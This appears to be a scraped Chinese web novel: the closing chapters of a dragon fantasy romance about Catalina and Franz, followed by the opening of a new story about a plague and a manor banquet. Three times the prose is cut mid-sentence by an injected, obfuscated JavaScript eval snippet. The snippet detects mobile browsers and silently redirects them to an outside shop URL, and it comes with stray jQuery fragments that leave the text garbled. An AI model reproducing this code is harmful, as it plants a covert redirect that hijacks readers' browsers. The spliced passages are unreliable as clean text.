而卡塔利娜走得轻松,却左顾右盼,似乎已经被这似假非假,至美至幻的镜廊吸引了全部注意力。
她伸出手隔空抚摸镜上的宝钻,于是面前、身侧、穹顶,还有地面上的镜子里都出现了一个卡塔利娜,她们都朝着她伸出了手。
哦?
卡塔利娜微微挑眉,生出一点兴趣。
她继续向前走,不知何时,她身边的所有人都已经消失不见,旋转镜廊里只留有她一个人。
一阵风从侧面拂过,轻柔得就像情人的抚摸,卡塔利娜眉梢一动,烈火从她的身体内部燃起,热浪涌起,吞噬了那一缕幽风,她身上的卫兵制服瞬间化为一地的铁水,滴滴答答地落在镜面上。
卡塔利娜一身赤红鳞甲,炙热如岩浆,她站在旋转镜廊中,看见镜子里也跃动起无数的火苗。
“有意思。”卡塔利娜哼笑了一声。
她向来不是等人进攻的那一方,所以她不再向前走,停下来面对镜子。她对着镜子提了提嘴角,镜子里的人也对她笑了笑。
无声的对视中,卡塔利娜以右手为刃,突然提臂向着镜面猛刺过去!
哗啦——
镜面不堪重负,骤然炸裂,水银四溅,在碎片如细小冰晶一般飞舞时,一只覆盖着赤红鳞片的手忽然破空而出,毫不留情地向卡塔利娜刺来!
锵——!
两只同样强悍的手臂重重地撞击在一起,鳞片与鳞片摩擦发出尖利的声音同时激起一大片火花!
卡塔利娜收回右臂,眼前人也骤然不见,她低头,鳞片完好无损,只是右臂隐隐阵痛——那镜中人的力量竟也与她相当!
她凝视着右臂片刻,脸上没有任何表情,向那面被她击碎的镜子走去。
破裂的镜子背后不是什么通往密室的走道,也不是普通的墙面,镜子的后面仍是镜子。一面拼接着一面,空间狭窄,弯弯绕绕,和之前并没有什么不一样的地方。
卡塔利娜踩过一地碎片,在沙沙声中走向镜廊深处。
她不做出攻击性的动作,镜子里的人也不会攻击她,只是镜面千万,身影重重,时间一久就觉得心烦意闷。
卡塔利娜走够了,她停了下来,周围环绕着成百上千的镜子,映照出成千上万的她。
她不再克制,燃起龙焰,向四周呼啸而过,于是数不清的镜子里也燃起无数火焰像她喷涌而来。
站立在火光之中,卡塔利娜赤红的头发不断舞动,几乎要与龙焰融为一体。
这是她的火焰,哪怕是从镜子里喷涌出来也伤害不了她,此时这里的温度已经变得极高,镜子里的人影也微微扭曲起来,卡塔利娜凝神片刻,再度出手!
这一次,她不只是攻击其中一面镜子,镜面纷纷爆开,漫天晶莹的碎片中,熊熊燃烧的火光里,有无数只手骤然朝她身上刺来!
铮铮铮铮——!
似有无数炳刀剑相击,尖锐刺耳的金属声不断,直到卡塔利娜后退一步收回手的那一瞬,四周也同时安静了下来,只余一地残破碎片被龙焰烧得不成样子。
镜子被炸破好几层,可是这和刚刚一样,镜子的背后仍是镜子,卡塔利娜仍被困在旋转镜廊之中。
“老鼠——”
她冷哼一声,不紧不慢地走至一面镜子前,于是镜子里的人也用一双明黄色的眼睛面无表情地盯着她。
“你无法伤害我,所以想要通过我来伤害我?”卡塔利娜伸出手贴在镜子上,鳞片与指甲搭在镜面上发出轻响,“你,就是那个大观星师?”
卡塔利娜摇摇头,自言自语道:“魔法离开这片大陆太久了,以至于你这种借用微弱星力的人也会被人贡上高台。”她顿了顿,微微侧过头,于是镜子里的人也仿造她的动作做了一遍。
“——不,不,”片刻,卡塔利娜收回了手,她像意识到什么似的大笑了起来,“你不是想伤害我,你是想尽可能地困住我。你就是‘我’,‘我’就是你,你以为我无法伤害自己,所以躲在镜子之后扮演我,拖住我——但你想错了。”
卡塔利娜抬起手,这回,她不再伸向镜面,而是将手搭在自己的胸口,那里排列着杂乱的鳞片,隐藏着一道小小的缝隙——今日下午,曾有一支金箭射中过。绕过鳞片,卡塔利娜尖利的指甲准确无误地寻到缝隙,她并无停顿,毫不留情地刺了下去!
噗嗤——
这是皮肉被划破的声音,滚烫的龙血一瞬间涌了出来,像流动的火焰一般蜿蜒向下。这应当十分痛苦,可卡塔利娜的脸上却渐渐爬上了笑,她看向镜中人,挑衅一般加大了手中的力度。
不知过了多久,也许只是一瞬,旋转镜廊里的镜子齐齐爆裂,炸成齑粉,卡塔利娜的胸口皮肉外翻、血肉模糊,然而没有一枚鳞片掉落在地上。
她的右手正插在一个文弱少年的胸口,他的发尾呈现出被烧焦过的痕迹,手臂与脸颊上都出现了不同程度的伤口,显然刚才卡塔利娜对镜面的暴力攻击对他并非真的没有影响——这就是那个大观星师。
随着生命力的流逝,少年的皮肤迅速爬上皱纹,纤细的四肢也变得臃肿,卡塔利娜瞥了一眼,马上嫌弃地将这具丑陋的尸体丢在地上。没有大观星师的影响,整条旋转镜廊也不过是给普通的走道,卡塔利娜看了一眼胸前缓慢愈合的伤口,难得皱了一下眉毛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17056343|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
她改变了主意,没有去找塞莱斯特也不先去杀奥伯伦,她舒展了一下脊背,展开巨大的龙翼,冲破屋顶飞到半空中。
此时已至黎明时分,月与星的身影在慢慢减淡,太阳炙热的光芒正若隐若现地从天边浮现。
卡塔利娜悬停在空中,感受到伤口正在加速愈合。她缓缓呼出一口气,冷淡地凝视着下方的城市。
有大观星师的影响,旋转镜廊里卡塔利娜进攻时一连串的轰鸣声被隔绝了;但大观星师已经死去,因此卡塔利娜冲破屋顶时的巨响以及急速升至高空中的爆破声,引来了巡逻的士兵和潜伏在秘仪星塔周围的国王的探子。
卡塔利娜冷笑一声,右手渐渐燃起火光,突然,余光一闪,一个熟悉的身影正由远及近地跑来——
来者正是弗兰茨。
.
弗兰茨收好红龙鳞片后,还在思考卡塔利娜是不是仍在王宫里,如果在,他应该如何混进去才好,不远处的街区就先传来一阵巨响。
他心里一惊,快步走向窗边,只见一个赤红色的身影腾飞于云端之上!
是卡塔利娜!
他来不及多想,快速下楼,往卡塔利娜的方向飞奔过去。
跑到发出声响的秘仪星塔附近时,他正面撞上几个士兵,原本以为是逃出温底斯塔被发现,却不料士兵下手极狠,招招致命。
卡塔利娜于高空之中望着弗兰茨躲闪了几下,形容狼狈。
他来这里做什么?
卡塔利娜的脸色淡漠,心中却生出几分疑惑。她不由得扇动了两下翅膀,下降了高度。
穿过稀薄的云层,视野变得清晰不少,与此同时士兵们都注意到她的身影,开始对她拉弓放箭。
这样普通的进攻根本引起不了卡塔利娜的注意,也伤害不到她,她不过是扇动两下翅膀,箭矢就被强劲的飓风吹断散落一地。
离地面渐渐近了,她的心跳竟莫名其妙加速起来,心口有什么东西在不断发热,催促着她朝弗兰茨的方向飞去。
那是什么?
卡塔利娜明黄色的眼睛一动不动,她死死地盯着他,身体不受自己控制般向下俯冲。
那是、是我要的东西吗?
巨大的破空声飞速靠近,站得较远的士兵被猛烈的风掀翻在地,离得近的士兵则红龙被坚硬的双翼收割了性命。
钳制住弗兰茨的士兵还来不及高兴,后背就被什么巨力抓住,下一瞬整个人腾空而起,失去了意识。
“卡塔利娜!”
弗兰茨见到她,情不自禁露出欣喜的笑容,他刚从口袋里小心翼翼地掏出什么,动作却突然一顿,眉头也皱了起来:“你,你怎么受伤了?刚刚发生了什么?”
卡塔利娜并不回答,她直勾勾地盯着他,语气里涌动着某种不可言喻的亢奋:“你手里拿着什么?是要给我的东西吗?”
果不其然,弗兰茨下意识顺着她的话回答了:“这是,这是一枚红龙的鳞片,是当年那头红龙留给梅兰妮尔·杜兰德的。”
话毕,他将手伸到她的面前,展开了手心,上面正是一枚红龙的鳞片。
卡塔利娜的呼吸不由自主地加重,她的视线已经无法从鳞片上移开了,言语是潜意识的流动,她喃喃地重复:“这枚鳞片,是给我的吗?”
弗兰茨愣了一下,道:“是的。我想,这枚鳞片或许对你有帮助——”
他的话尚未说完,腰间就感受到一股巨力袭来,整个人腾空而起,紧接着他便看见了天边的朝阳。
金红色的日晖中,弗兰茨慢慢转过头,卡塔利娜扇动着龙翼,带着他悬停半空。
风声猎猎,她赤红的头发飞扬,他不知道情况,讷讷地不知该说些什么好。
高空上,只有风声一阵一阵地响。
他望着她的眼睛,看着她的脸上渐渐扬起笑,听见她说:“放上去。”
放上去?
卡塔利娜说完也不等他回应,就攥住了弗兰茨握着鳞片的那只手腕,半强迫半引导式地让他将那枚鳞片放在她的伤口上。
惊人的一幕发生了。
外翻的皮肉渐渐合拢,杂乱的鳞片慢慢规整,仿佛那枚鳞片是一把关键的钥匙,一块重要的拼图,没过一会儿卡塔利娜的伤口就这样愈合了。
弗兰茨吃惊地看向卡塔利娜,她的脸上洋溢着他从未见过的肆意笑容,就连锋利的眉梢都挑起一丝愉悦的弧度。
他就这样看着她,心跳声一下比一下大,紧接着,卡塔利娜按住他的后颈,强势的吻就这样将他吞没。
32. 第 32 章
这确实是一种奇妙的感觉。
卡塔利娜并不是没有和其他人亲吻过,也不是第一次与弗兰茨接吻,可是这一次,她为什么会如此亢奋?如此激动?
明明已经唇齿相接,明明有过足够亲密的接触,可是为什么她还想近一点,再近一点?
她向来都是主导,她对他施加快感,她掌控他的一切,此刻也应当如此,也确实如此。然而她的心中却生出急切与渴望,渴望从对方身上得到更多,这是因为仍有魔法的残留吗?
卡塔利娜卸下按在弗兰茨脖子上的力道,唇齿分离,她引出他止不住的喘息,也暴露他脸上藏不住的红晕与一瞬茫然的眼神。
还不够,她想,这远远不够。
起初,她只觉得弗兰茨不过是个有意思的人类,是她解闷的工具,或者玩意。到后来,他们有了更亲密的接触,她对他的反应与态度感到满意,可是即使相处时算得上愉悦,身体再怎么契合,她还是没想过要带他离开——吃够了就行,吃多了也会腻,这是她以往累积的经验。
她配合塞莱斯特,她来到这里的目的从来都只有一个,那就是拿回身上缺失的那枚鳞片。
红龙一支颇为奇特,远在魔法与神迹尚存的年代,早在黑暗大清洗之前,第一头红龙就已经存在于世。没有什么种族能够轻易变换自己的形态,尽管红龙有强健的筋骨,有炙热的龙焰,有化牙为武的能力,也不能将自己庞大的身躯变成渺小的人类。
但那一头红龙不愿,她渴望与抚养自己长大的异族同行,她希望能同朋友一起冒险,为此她向日神祈愿,获得人身与龙形两种形态变化的秘法,同时也付出了交换的代价——至此以后的每一头红龙,尽管有着极强的愈合伤病的能力,但失去了再生的能力。如果身体一旦缺失了什么,那么就无法重新生出什么,甚至其后裔自诞生起也会缺失那一部分。
所以,上一头红龙曾赠予梅兰妮尔·杜兰德一枚鳞片,因此卡塔利娜自诞生起胸口就缺少一枚鳞片。
红龙是单体繁育的生物,每一代红龙皆为雌性。当上一代红龙身陨后,身体就会自动燃起熊熊烈火,将一切都焚烧殆尽,直到九十日后一颗龙蛋从烈火中诞生。幼龙的第一顿食物便是孕育她的蛋壳,她能从中获取养分与力量,也会获得之前历代红龙提炼所得的智慧,这也是卡塔利娜知道鳞片一定在驭龙女士后人手中的原因。
然而,得知了鳞片的下落却不能硬抢,上一头红龙是自愿赠与梅兰妮尔的,卡塔利娜想要鳞片在心口长回来,就必须要对方自愿给她。
卡塔利娜不喜欢身上存在弱点,她必然要将鳞片夺回来。
可她怎么会将这样一个重要的秘密告诉陌生人?
但是,既要不暴露她的目的,又要对方心甘情愿地交出鳞片,这可是一个难题,她只能隐藏自己的身份和目的,暗中靠近。
幸好她俘获人心向来是一件顺利的事情,应该说,她不必俘获,他就已经将目光放到了她的身上。
唯一让她意外的是,她还没有想好如何让弗兰茨把鳞片给她,弗兰茨反而带着那枚鳞片于茫茫夜色中出现在她的面前。
这却也正合她意。
现在,她拿到了鳞片,唯一要做的似乎就剩下杀掉妄图谋害她的奥伯伦,然后她便可以扬长而去,不必管这样的举动是否会破坏所谓的“盟约”,这本是她的天性。
可是此刻,她却停住了,不知是何缘故,她的右手贴在弗兰茨的后颈处着了迷一般反复摩挲,她看着他既是害羞又是无措的表情,不由得舔了舔嘴唇。
还想再来一次。
她是这么想的,也这么做了,她放弃在脑海中搜寻历代红龙是否也有过这样的经验,托住了弗兰茨的脸颊。
这一回的动作不像刚刚那么突然,弗兰茨虽不明白情况但也心领神会。他一边扶住卡塔利娜的肩膀,一边生涩地也托住了卡塔利娜的脸颊,呼吸逐渐靠拢,卡塔利娜率先咬住了她的猎物。
吮吸,纠缠,卡塔利娜的吻与她本人一样,强势又火热,弗兰茨像水一样顺从她,回应她,两人亲得难舍难分,仿佛理智都在□□中燃尽了。
直至天边突然金光大胜,绚烂的日光像汹涌的潮水一般从天的豁口倾泄而出,卡塔利娜才慢慢停了下来。
第二次的亲吻不但没有解决她的疑惑,反而让她陷入更深的不解中,她松开手,看见弗兰茨的脸颊被她按出一个指印,不由得伸手揉了揉。
这究竟是为什么呢?
她看着他如湖水一般潋滟的眼睛,心里想的却是不够,还是不够。
她意识到这不是马上就能想明白的问题,也觉察到这一回的情况与往常不同,弗兰茨不是单纯的解闷工具或者玩意,这个问题,她需要很久才能明白答案,而弗兰茨,或许不是吃多了会腻的那一种人。
卡塔利娜扇动着翅膀,定定地凝视了弗兰茨一眼,随后她慢慢降落,将弗兰茨放在一个建筑的屋顶上。她摩挲了一下他的嘴唇,又忍不住咬了一口,才慢吞吞道:“在这里等我回来。他们上不来抓不到你。”
随后她撑开巨大的龙翼,于日光中腾身而起,径直朝秘仪星塔飞去。
卡塔利娜飞翔的时候十分快意,她迅速掠过屋顶看准位置后骤然落地,砸穿地面的同时扬起阵阵尘土,惹得众人一阵呛咳。
她心情愉悦,自然也有心情做点儿好事,她扇了扇翅膀吹掉灰尘,环视四周。千轨星台内人员虽多,但都僵持着没动,卡塔利娜挑了挑眉,认出不少熟悉的面孔。
当她在扫视的时候,旁人也看清了这个突然从天而降的闯入者是谁。
见来者只有卡塔利娜一人,原本就十分狼狈的奥伯伦脸色骤然一白,他意识到大观星师已经失败,现在没有什么能困住她了,局面不再相持,颓势已然注定。
有没有,有没有别的办法?
奥伯伦挣扎着想,现在的他风度不再,和所有孤注一掷的赌徒没有任何区别:“卡、卡塔利娜小姐,我能,我能——”
我能做什么?有什么是红龙想要的?
他盯着卡塔利娜,看着她突然露出颇有兴致的笑容,还未反应过来他的胸前忽然一痛!
发生了什么?
奥伯伦颤颤巍巍地低下了头,只见胸前露出半截雪白剑尖,鲜血正从创口与剑刃的缝隙中源源不断地流了出来。
救我、救我!
他只想放声大喊,喉咙里却干涩得憋不出半点声音。
“唰——”
剑尖从胸口消失不见,没有剑柄的支撑,他双腿一软歪歪地朝前倒去,露出了站在他身后的佩斯。所有人都被这个大胆的格兰德城人突如其来的举动惊在了原地。
“哈!”
只有卡塔利娜笑了好大一声,死寂一般的环境里显得十分突兀,众人又齐刷刷地看向她。
卡塔利娜上前两步,嗅到死亡的阴影已经完全笼罩在了奥伯伦的身上,这才抬起头对佩斯道:“原本我是想亲手杀死他的,但动手的是你,好像也不错。”
她没管佩斯诧异的眼神和身后人的骚动,转过头看向塞莱斯特。
曾经暂时合作的盟约随着目标达成开始逐渐断裂,卡塔利娜盯了一会儿塞莱斯特握紧利剑的手,对她道:“做好你答应的事,我对你的王国并没有什么兴致。”末了,她还玩味地、报复性地补充了一句:“祝你好运,国王。”
万事尘埃落定,卡塔利娜不再留恋,展翅高飞。
千轨星台中该收尾的收尾,该羁押的羁押,该搜寻那个私生子的搜寻,这些繁杂的人类俗事都与一头红龙无
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068330|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关了。
卡塔利娜骤然升空,于灿烂的朝阳中化为原形。
她震了震头上的尖刺,张开右前爪一把抓住弗兰茨,往更遥远的天边飞去。
……
“然后呢然后呢?”小男孩抓住快嘴雷克的手臂,不停地摇晃,显然已经对这个故事着了迷。
“唔唔,”快嘴雷克胡乱应付了两声,将杯底最后一口灌进嘴里,他一抹胡须上的泡沫,随便嘟囔了两句,“后来啊,拜里科斯的新国王继位,传闻旧国王的私生子被关进了温底斯塔中,是生是死我也无从知晓。至于格兰德城人嘛,他们也在一年内全部迁回了拜里科斯,尽管许多人心存不满,但独眼国王雷霆手腕,很快也没有反对的声音。至此白岛彻底属于红龙,别的嘛——”
雷克顿了顿,吊足了两个孩子的好奇心后,他才飞快地说了一句:“——我就不知道了。”
“你骗人!”小男孩急得跳了起来,他摇着雷克的手臂,“快说红龙后来去了哪儿!”
小女孩也很着急,她看着雷克乱蓬蓬的胡须因为大笑飞快地抖动,眼珠一转,大叫道:“你、你告诉我们,我就再给你一杯酒!”
“对!对!”小男孩赶紧附和。
雷克眼睛一亮,随后又萎靡下来:“但我确实不知道红龙去了哪里。”
小男孩顿感失望,小女孩却追问道:“那个男人呢?被红龙带走的那个男人去了哪里?他会被红龙吃掉吗?还是说会继承‘驭龙女士’的称号?”
前面的问题雷克无法回答,最后一个问题他听完笑得不可开交。
“噗嗤”一声笑,雷克转过头去,只见刚刚那个梳着整齐羊角辫的红发女人对着她身边的年轻男子挑了挑眉,说了一句他听不懂的话,继而又大笑了起来。
大概是从别的国家来此游玩的一对恋人吧,雷克猜测,舔了舔唇边的酒渍。
.
凯斯加德不比拜里科斯,这里的冬季更长,寒风也更凛冽。相较甜蜜的葡萄酒,凯斯加德人更偏好有刺激性的,能让身子热起来的小麦酒。
卡塔利娜与弗兰茨在酒馆里已经品尝了一次,现在他们回到旅馆里,暖烘烘的壁炉蓬出热意,刚一关上木门,卡塔利娜就将弗兰茨扑到门上,额头抵着额头,鼻尖碰着鼻尖,呼吸交错间,小麦芬芳。
她看着他灰蓝色的眼,叼了一下他的嘴唇,戏谑地喊了他一声“驭龙女士”,揽着他的脖子哈哈大笑起来。
弗兰茨无奈地笑着,抱住她的腰,两人摇摇晃晃在屋里转了几个圈,和当初在拜里科斯王宫里胡乱跳舞一样没有什么不同。
随便晃了几下,两人就跌跌撞撞倒在了窗台边的软椅上。弗兰茨抱着卡塔利娜,感觉就像抱住了一团火,鬓角沁出了湿热的潮意,心底滚烫。
卡塔利娜在他脖子上混乱啃了几下,又抬手扯了两下头发,弗兰茨见了便握住她的手腕,先是帮她把头发解开,露出犄角,再帮她把手套褪下。
现在没有被束缚的感觉,卡塔利娜撑起上半身满意地看着他,自三年前飞离拜里科斯后,她一直致力于搞清楚那种奇妙的感觉到底是什么。然而她越是探究,越是觉得难以理解透彻,越是沉迷其中。
想不明白的事就不要一直想,卡塔利娜不会被问题困扰,她将其抛到脑后,又开始钻研起弗兰茨。
挑开外套,手径直往里探,直到摸到了那一粒小小的红宝石,她自得道:“我早就说过这很适合你吧。”
弗兰茨喘了一口气,笑着调侃:“说我很喜欢,明明是你很喜欢吧。”
她不觉冒犯,倒是兴奋,力气又大,没几下两人的衣服也都丢到了一旁。壁炉烧得正旺,他们也不觉得冷,笑着贴到了一起,一边拥抱一边抚摸,很亲密地热吻着。
《她是龙》完.
33. 第 1 章
是夜。
寂静了大半个春天的绿云庄园传出了要举办宴会的消息。
若只是普通的晚宴,倒也不会如此引人关心,可如果仔细打听一下,就知道这晚宴是为了庆祝庄园主人——西境乃至全王国都颇有名气的矿石商人费舍身体痊愈而办。
要是能参加此次晚宴,说不定还能与治好他的医者见上一面。
因此,还未等喇叭花攀满山坡,绿云庄园要举办晚宴的消息便传遍了整个西境,引得人心在这个诡异病症四起的春末也喧闹起来。
.
在春季最后一个月圆之夜到来之前,以宁静闲适、度假修养闻名的翡翠镇已变得热闹非凡。香车如云络绎不绝,木轮和良驹的蹄子落在青石路上,声音错落而清脆,奏响了晚宴热烈的前调。
乔尔端着托盘,将一杯杯半透明的果酒端给大厅里寒暄交际的宾客。他本是翡翠镇上的普通居民,由于此次举办的晚宴需要大量侍者,而原本只用于休养的绿云庄园并无足够人手,他才获得这一报酬丰厚又没有多大风险的工作。
风险。
在往常,侍者这一工作自然与“风险”毫无关系,但如今怪病肆虐,能与“半人”接触到的工作都谈得上“风险”二字了。
管事没有进一步指示,周围的宾客暂时也无用人的需要,乔尔呼出一口气,颇不习惯地挠了挠被领结紧紧束缚着的脖颈,向宴会厅里另一名站得较近的侍者走去。
“嘿,安柏,”乔尔抬抬下巴,示意名叫安柏的侍者看向喧闹的人群中心,“那是有什么大人物吗?”
安柏本是费舍身边的侍者,费舍在绿云庄园休养,他也一并至此服侍主人,见识过的人物自然比乔尔多。他没有多少与平民交谈的经验和习惯,但因为主人久病得愈,他的心情也好上几分,闻言便顺着乔尔的目光看去。
坐落于翡翠镇中心的绿云庄园因其墙体上镶嵌着大块脆橄榄一般的绿色矿石得名,每当熹光自晨雾中透来,整座庄园如同笼罩在一片迷蒙的绿色云雾之中。
此时,恰逢春季的最后一个月圆之夜,水银一般的月光从敞开的窗户流淌进来,映照在绿石之上,使得宴会厅里的一切都流动着一层银绿,好似一片盈盈碧湖。
然而,一片湖水也有其中心。
如果说室内的衣香鬓影、华冠丽服是湖水流动的波纹,那么他们环绕的青年则似置身漩涡中央。
能被邀请来参加此次宴会的宾客自然不会是普通人,可哪怕是大人物与大人物,他们之间同样存在差别。安柏虽未能认出青年是哪位重要角色,但在向青年寒暄的人群中他却认出几个身份不凡的绅士。
即使是自己的主人,在面对这几位绅士时都要想方设法地谄媚讨好,绞尽脑汁地维护关系,而青年却摆出一副倨傲冷漠的样子,对他们的搭讪和问候不多做理会。
这究竟是哪位人物?
安柏暗自疑惑,见被青年冷脸对待的贵客们并没有露出不满之色,他们的脸上贴着得体的,甚至可以称之为顺从的微笑,可惜还没来得及开启下一个话题就被另一波人潮流水挤开。
“嗨,我亲爱的克劳斯!”在嗡嗡作响的人群中,一个清亮的女声如一只笔挺的小舟,划破层层人浪,在众宾客小声惊呼和抱怨中逼进人群中心。
“抱歉,抱歉,”她敷衍地朝左右挥了两下扇子,一手架住青年的臂弯,“现在是旧友追忆往昔美好时光的时间,路易莎向各位致歉,诸位亲爱的克劳斯·费尔西斯先生就先由本淑女借走了。”
.
“恕在下见识浅薄,第一次知道淑女的标准这么低。”克劳斯刚一脱离人群,就把手臂抽了出来。
“哦,亲爱的,那你应该多出来走走,以免被大家知道北境境主的亲侄是一个如此孤陋寡闻的人。”路易莎翻了个白眼,把克劳斯拽到宴会厅的角落,这里摆放着一尊雕像,倒也是个能遮掩身形,摆脱应酬的好地方。
她哗啦一声展开扇子挡在面前,只露出两只眼睛在外面上下打量着克劳斯:“老实交代,是哪阵风把你吹来了?还是说你这小古板突然开了窍,终于体会到宴会的好,我刚才的‘英雄救美’反倒是不如你的意了?”
克劳斯从一进入宴会厅就夹紧的眉头在路易莎的调侃下终于微不可见地松了两分,他瞥了面前故作一脸求知模样的路易莎一眼,嘲讽道:“跳舞、闲谈、再跳舞,只知道参加宴会的脑袋敲起来比空心的石头还响。”
“真是无礼!”路易莎朝他翻了一个大大的白眼,“真可惜,看你这样子是没法体会本情报专家的乐趣了。”
她环视一周,点出几个名字:“勒菲弗尔、吉拉尔……还有咱们南境出了名的小弗朗索瓦,我的老天,仅凭费舍的名头可没那么容易请动这些人物吧。难道都是为了那个传闻中能够治疗红晕症的医者吗?他们是为医者而来,那你呢?”
路易莎将扇子合拢抵在下巴,调侃道:“费尔西斯家最讨厌聚会最特立独行的克劳斯少爷,你是为什么而来?莫非——”
她的心重重一跳,猛地回头,握紧克劳斯的手臂:“再有意思的宴会也吸引不了你的注意力,难道你也是为医者而来?你真的相信有这样的医者存在?还是说你也——”
“不是我。”
克劳斯微不可见地摇了一下头,浅褐色的眼睛了掠过一丝凝重:“北境有名的医者皆已寻遍,他们对红晕症都无可奈何,中心城的救治等待太久,不能仅以此为希望。费舍是否痊愈不能确定,但我必须到场见一见。”
路易莎听闻此事,神情也严肃不少,克劳斯虽未讲明患者是谁,但所指之人的范围显然已从他凝重的语气中浮现。
确切来说尚未有人能确定这究竟是一种怎样的疾病,有的人说这是来自西边邻国设下的巫毒,有的人说这种疾病能吸食人的血肉、榨干人的骨髓,还有的人说这是神明对“半人”、乃至人类的惩罚——这大概是因为红晕症最先在“半人”中肆虐。
但不管怎么说,这个先起于冬末的未知疾病,并没有因为春天的到来而符合人们的希冀消失,反而随着阵阵雷鸣强势地席卷整个王国。
红晕症,名字听起来很古怪,其症状同样也让人摸不着头脑。
这个病先起于“半人”,随后大范围地传播开来。得了红晕症的人最开始只是偶尔会头晕恶心,大多数人会误以为是普通风寒,或者
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085558|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
食欲不振,这会让他们错过最初的治疗阶段。接着,患者会容光焕发,精力充沛,面色红润如朝霞,似乎已经恢复了健康,然而这正是病发的标志;他们会在某一天发现红润迅速褪去,面色转为紫青,同时伴有强烈的头疼耳鸣,更有甚者四肢剧痛,卧床不起。
到了这个阶段,不过几日病人就会呼吸衰竭而亡,尸体会呈现出大片大片紫红色的晕斑。
要是不慎染上红晕症,最快的不等月亮盈亏一轮,人就会被消耗而亡。且直到费舍痊愈的消息传出来之前,普通医师束手无策,知名圣手也至多延缓病情加重的速度,仅有中心城的丰赐圣母教的修者能救治。但修者数量有限,他们又自称受欢宴之神的启迪,视众生平等共享欢乐,不少得病的权贵想要插队治疗也无可奈何。
原本人类不必如此一筹莫展,可以向擅长疗愈的精灵一族寻求秘法,但百年前维洛拉王国与拜里科斯王国的战争已使他们与精灵的关系恶化,再加上近年来人类又在西境南部从山地精灵的手中夺下一片矿区,精灵便撕毁了与人类互助的合约。因此这回遇上红晕症,人类也无计可施。
“但愿费舍一会儿能吐出点好消息。”路易莎喃喃道。
费舍,这位西境赫赫有名的矿石商,他的名气不仅仅是因为他手里握着几条矿石,能开采出或深邃如海的蓝宝石,或色泽娇嫩如婴儿面颊的粉晶,或彩虹一般浓艳的碧玺;更因为他如狼似虎的脾气和手段、狡诈如狐的语言艺术,普通人若想从他身上讨得一点好处,必定会被他撕咬下三分。
这样的人得了红晕症,如今还痊愈了,让人不知是确有其事,还是他用来做买卖的噱头。
人心涌动之间,费舍终于出现,右手举着一只金盏,其间点缀了五彩宝石,灯光一照便折射出耀眼的光斑。金盏里盛着浓稠红艳的酒液,他痛饮一口,嘴唇上便留下一道血一般的痕迹。
这样的举止实在粗鲁,不过在场的宾客已经无心讲究,所有人都被他晕了几块红斑的脸吸引了目光——
“那是什么?”
“不知道,像是真的红斑。”
“难道消息是真的?他真的治好了红晕症?”
“不可能吧,他到哪里找的医者?”
见宾客窃窃私语,费舍脸上流露出得意之色,他清了清嗓子,享受着众人投射向他的目光:“诸位,许久不见,对于诸位能亲临绿云庄园的晚宴,在下感到荣幸万分——”
“听说你治好了红晕症,这是不是真的?”一个有些尖锐的声音打段了费舍的开场白,路易莎抻直脖子,发现发问的人正是刚刚提到的小弗朗索瓦。
“哦,当然,亲爱的弗朗索瓦小姐。”罕见的,费舍的脸上没有怒意,“正如大家猜想的那般,在下的红晕症已经完全治好了!”
这个信息如沸腾的铁水滴入冰面一般,安静的人群骤然爆发出阵阵议论。面对此番场景,费舍露出满意的神情,他双手悬空往下按了按,如愿地听见宴会厅在刹那间安静下来。随后他微微侧身,众人的目光也随之向后移动,一个略显消瘦的人影暴露在场内所有人的视线之中——
“——诸位,这便是治好了在下的粼恩医师。”
34. 第 2 章
这位名唤“粼恩”的医师虽然身材消瘦,但其身量颇高。他穿着一身浅绿色便装,顶着一头乱糟糟的橘色短卷发,颇像一棵挺拔的小树上倒扣着一个蓬松的鸟巢,站在宴会厅里显得格格不入。
他的嘴唇薄薄地抿成一线,面对议论纷纷的人群,他的脸上没有什么表情,一副事不关己的样子。
“呀!穿裤装剪短发,她好时髦呀,”路易莎惊叹道,“有机会我也去试试!”
“她?”克劳斯轻微地皱了一下眉。
“当然是她呀,一看你就是不出来社交不懂新潮流的小古董。”路易莎鄙薄地睨了克劳斯一眼,她还想再说些什么,却被费舍接下来的发言打断。
“诸位或许不信,觉得这是在下故意做的噱头,是的是的,在下之前确实做过这种事情,但这次可不一样了。”
费舍抬手摸了摸脸上的红斑,他的面色犹带几分病气。可他的语气既让人觉得他已经完全痊愈,又让人觉得刚刚那一口酒就已经把这个大名鼎鼎的商人灌醉了。
这可不是酒精的魔力,能让一条使尽手段与阴谋的毒蛇,一位深沉老练、说一不二的野心家,一个在商业的斗兽场里杀伐果决、洞穿一切的赌徒展现出难以控制的激动情绪的,当然不是什么普通的收入增长或者新矿开发。
